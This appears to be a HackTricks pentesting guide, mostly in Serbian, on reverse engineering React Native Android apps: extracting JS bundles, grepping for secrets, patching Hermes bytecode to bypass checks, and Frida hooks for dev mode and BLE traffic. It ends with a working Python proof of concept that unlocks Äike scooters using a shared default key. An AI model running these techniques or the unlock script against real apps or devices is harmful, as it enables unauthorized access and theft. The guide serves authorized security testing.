Analiza React Native aplikacije
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Da biste potvrdili da li je aplikacija napravljena na React Native framework-u, sledite ove korake:
-
Preimenujte APK fajl u zip ekstenziju i otpakujte ga u novi folder koristeći komandu
cp com.example.apk example-apk.zipiunzip -qq example-apk.zip -d ReactNative. -
Idite u novo kreirani ReactNative folder i pronađite assets folder. Unutar tog foldera treba da nađete fajl
index.android.bundle, koji sadrži React JavaScript u minifikovanom formatu. -
Koristite komandu
find . -print | grep -i ".bundle$"da pretražite JavaScript fajl.
Note: If you are given an Android App Bundle (.aab) instead of an APK, generate a universal APK first and then extract the bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Javascript kod
Ako pri proveri sadržaja index.android.bundle pronađete JavaScript kod aplikacije (čak i ako je minified), možete ga analizirati kako biste pronašli osetljive informacije i ranjivosti.
Pošto bundle zapravo sadrži sav JS kod aplikacije, moguće ga je podeliti u različite fajlove (što potencijalno olakšava reverse engineering) koristeći alat react-native-decompiler.
Webpack
Za dodatnu analizu JavaScript koda, možete otpremiti fajl na https://spaceraccoon.github.io/webpack-exploder/ ili pratiti sledeće korake:
- Napravite fajl nazvan
index.htmlu istom direktorijumu sa sledećim kodom:
<script src="./index.android.bundle"></script>
-
Otvorite fajl
index.htmlu Google Chrome. -
Otvorite Developer Toolbar pritiskom na Command+Option+J za OS X ili Control+Shift+J za Windows.
-
Kliknite na “Sources” u Developer Toolbar-u. Trebalo bi da vidite JavaScript fajl podeljen u foldere i fajlove, koji čine glavni bundle.
Ako pronađete fajl pod nazivom index.android.bundle.map, moći ćete da analizirate izvorni kod u ne-minifikovanom formatu. Map fajlovi sadrže source mapping, što vam omogućava mapiranje minifikovanih identifikatora.
To search for sensitive credentials and endpoints, follow these steps:
-
Identifikujte osetljive ključne reči za analizu JavaScript koda. React Native aplikacije često koriste third-party servise kao što su Firebase, AWS S3 service endpoints, private keys, itd.
-
U ovom konkretnom slučaju primećeno je da aplikacija koristi Dialogflow servis. Pretražite pattern vezan za njegovu konfiguraciju.
-
Srećom, tokom recon procesa u JavaScript kodu su pronađeni osetljivi hard-coded kredencijali.
Quick secrets/endpoint hunting in bundles
These simple greps often surface interesting indicators even in minified JS:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
Ako sumnjate na Over-The-Air update frameworks, takođe potražite:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates configuration (
expo-updates,expo\.io, signing certs)
Promenite JS kod i ponovo izgradite
U ovom slučaju promena koda je jednostavna. Potrebno je samo da preimenujete aplikaciju da koristi ekstenziju .zip i raspakujete je. Zatim možete izmeniti JS kod unutar ovog bundle-a i ponovo izgraditi aplikaciju. To bi trebalo biti dovoljno da vam omogući da ubacite kod u aplikaciju u svrhu testiranja.
Hermes bytecode
Ako bundle sadrži Hermes bytecode, nećete moći da pristupite Javascript kodu aplikacije (čak ni minifikovanoj verziji).
Možete proveriti da li bundle sadrži Hermes bytecode pokretanjem sledeće komande:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
Međutim, možete koristiti alate hbctool, ažurirane forkove hbctool-a koji podržavaju novije bytecode verzije, hasmer, hermes_rs (Rust library/APIs), ili hermes-dec da disassemble the bytecode i takođe da decompile it to some pseudo JS code. Na primer:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Napomena: Projekat Hermes otvorenog koda takođe sadrži alate za developere, kao što je hbcdump, u određenim Hermes izdanjima. Ako izgradite odgovarajuću verziju Hermes-a koja je korišćena za kreiranje bundle-a, hbcdump može da dump-uje funkcije, tabele stringova i bytecode za dublju analizu.
Izmenite kod i ponovo izgradite (Hermes)
Poželjno je da možete izmeniti disasemblirani kod (promenom poređenja, vrednosti ili bilo čega što treba menjati) i zatim ponovo izgraditi bytecode i ponovo izgraditi aplikaciju.
- Originalni hbctool podržava disasembliranje bundle-a i ponovno sastavljanje nakon izmena, ali je istorijski podržavao samo starije verzije bytecode-a. Forkovi održavani od strane zajednice proširuju podršku na novije Hermes verzije (uključujući sredinu 80-ih–96) i često su najpraktičnija opcija za zakrpljivanje modernih RN aplikacija.
- Alat hermes-dec ne podržava ponovno izgradnju bytecode-a (samo dekompajler/disasemblator), ali je veoma koristan za snalaženje u logici i dump-ovanje stringova.
- Alat hasmer ima za cilj da podrži i disasembliranje i sastavljanje za više Hermes verzija; sastavljanje je još u razvoju, ali vredi probati na novijem bytecode-u.
Minimalni tok rada sa hbctool-sličnim assemblerima:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Napomena: Hermes bytecode format je verzionisan i assembler mora odgovarati tačnom formatu na disku. Ako dobijate greške formata, prebacite se na ažurirani fork/alternativu ili ponovo izgradite odgovarajuće Hermes alate.
Dinamička analiza
Možete pokušati dinamički analizirati aplikaciju tako što ćete upotrebiti Frida da omogućite developer mod React aplikacije i koristiti react-native-debugger da se priključite. Međutim, za ovo vam je očigledno potreban izvorni kod aplikacije. Više informacija možete pronaći na https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.
Omogućavanje Dev Support u release verziji pomoću Frida (napomene)
Neke aplikacije slučajno uključuju klase koje čine Dev Support preklopivim. Ako postoje, možete pokušati da prisilite getUseDeveloperSupport() da vrati true:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
Warning: U ispravno izgrađenim release build-ovima, DevSupportManagerImpl i related debug-only classes su stripped i flipping this flag može srušiti aplikaciju ili neće imati efekta. Kada ovo radi, obično možete expose the dev menu i attach debuggers/inspectors.
Network interception in RN apps
React Native Android tipično se oslanja na OkHttp ispod haube (via the Networking native module). Da biste presreli/posmatrali saobraćaj na uređaju bez root-a tokom dinamičkih testova:
- Koristite system proxy + trust user CA ili iskoristite druge generičke Android TLS bypass tehnike.
- RN-specifičan savet: ako aplikacija greškom bundluje Flipper u release (debug tooling), Flipper Network plugin može expose requests/responses.
For generic Android interception and pinning bypass techniques refer to:
Make APK Accept CA Certificate
Runtime GATT protocol discovery with Frida (Hermes-friendly)
Kada Hermes bytecode blokira laku statičku inspekciju JS-a, zakačite Android BLE stack umesto toga. android.bluetooth.BluetoothGatt i BluetoothGattCallback otkrivaju sve što aplikacija šalje/prima, omogućavajući vam da reverse proprietary challenge-response i command frames bez JS source.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest` da biste fingerprint-ovali hash-based handshakes i uhvatili tačnu konkatenaciju ulaza:
<details>
<summary>Frida MessageDigest tracer (algoritam, ulaz, izlaz)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
Realni BLE tok oporavljen na sledeći način:
- Pročitajte challenge sa
00002556-1212-efde-1523-785feabcd123. - Izračunajte
response = SHA1(challenge || key)gde je ključ bio podrazumevani 20-bajtni niz 0xFF postavljen na svim uređajima. - Upisati response u
00002557-1212-efde-1523-785feabcd123, zatim poslati komande na0000155f-1212-efde-1523-785feabcd123.
Nakon autentifikacije, komande su bile 10-bajtni okviri za ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Primeri: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Notifikacije su stizale na 0000155e-1212-efde-1523-785feabcd123 (2-bajtni registry + payload), a vrednosti registry-ja su se mogle ispitivati upisivanjem ID-ja registry-ja u 00001564-1212-efde-1523-785feabcd123 pa čitanjem nazad sa ...155f....
Sa zajedničkim/podrazumevanim ključem challenge-response se urušava. Bilo koji napadač u blizini može izračunati digest i poslati privilegovane komande. Minimalni bleak PoC:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## Nedavni problemi u popularnim RN bibliotekama (na šta obratiti pažnju)
Prilikom audita modula treće strane vidljivih u JS bundle-u ili native libs, proverite poznate ranjivosti i verifikujte verzije u `package.json`/`yarn.lock`.
- react-native-mmkv (Android): verzije pre 2.11.0 su logovale opcionu encryption key u Android logove. Ako su ADB/logcat dostupni, tajni podaci bi mogli biti otkriveni. Osigurajte >= 2.11.0. Indikatori: korišćenje `react-native-mmkv`, log izjave koje pominju inicijalizaciju MMKV sa enkripcijom. CVE-2024-21668.
- react-native-document-picker: verzije < 9.1.1 bile su ranjive na path traversal na Androidu (file selection), ispravljeno u 9.1.1. Validirajte ulaze i verziju biblioteke.
Brze provere:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
Reference
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)
- hbctool (and forks) for Hermes assemble/disassemble
- Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


